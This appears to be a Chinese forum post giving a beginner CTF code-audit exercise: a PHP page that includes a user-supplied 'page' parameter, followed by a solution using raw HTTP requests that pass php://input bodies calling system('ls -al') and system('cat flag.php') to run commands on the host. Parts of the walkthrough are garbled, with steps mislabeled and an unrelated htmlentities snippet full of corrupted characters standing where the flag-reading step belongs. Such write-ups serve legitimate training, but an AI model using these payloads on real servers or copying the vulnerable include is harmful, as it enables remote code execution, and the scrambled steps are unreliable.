找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 67|回复: 0

CTF入门小练习5--- 代码审计(1)

[复制链接]

2万

主题

128

回帖

10万

积分

管理员

积分
105860
发表于 2022-6-2 11:22:25 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
CTF入门小练习5 --- 代码审计(1)

地址:http://118.195.198.108:9998



6.png

[Bash shell] 纯文本查看 复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
//while (strstr($page, "php://")) {
//    $page=str_replace("php://", "", $page);
//}
include($page);
?>








答案:
1. data协议方式获取


(1). 获取web根目录playload:
GET /?page=php://input HTTP/1.1
Host: 118.195.198.108:9998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 23

<?php system("ls -al");?>


(2). 读出当前路径下的所有文件playload:
GET /?page=php://input HTTP/1.1
Host: 118.195.198.108:9998
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31

<?php system("cat flag.php");?>


(3). 看到flag文件,读出该文件的内容就能拿到flag值playload:

<?php
$str = "<© W3CSçh°°¦§>";
echo htmlentities($str);
?>



php文件包含漏洞小结
https://fenxiang5.cn/forum.php?mod=viewthread&tid=7535&fromuid=6
(出处: 分享屋)

2. php://input协议获取key

[Bash shell] 纯文本查看 复制代码
<!DOCTYPE html>
<html>
<body>
<© W3CSçh°°¦§>
</body>
</html>



[Bash shell] 纯文本查看 复制代码





8.png

9.png

PHP[size=2.1em] print_r() 函数
print_r() 函数用于打印变量,以更容易理解的形式展示。


PHP scandir() 函数功能:


scandir() 函数返回指定目录中的文件和目录的数组。



PHP file_get_contents() 函数功能:


file_get_contents() 把整个文件读入一个字符串中。


该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。




PHP htmlentities() 函数

把一些字符转换为 HTML 实体:
[PHP] 纯文本查看 复制代码


上面代码的 HTML 输出如下(查看源代码):
[HTML] 纯文本查看 复制代码





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|IOTsec-Zone|在线工具|CTF WiKi|CTF平台汇总|CTF show|ctfhub|棱角安全|rutracker|攻防世界|php手册|peiqi文库|CyberChef|猫捉鱼铃|手机版|小黑屋|cn-sec|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2024-5-18 18:19

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表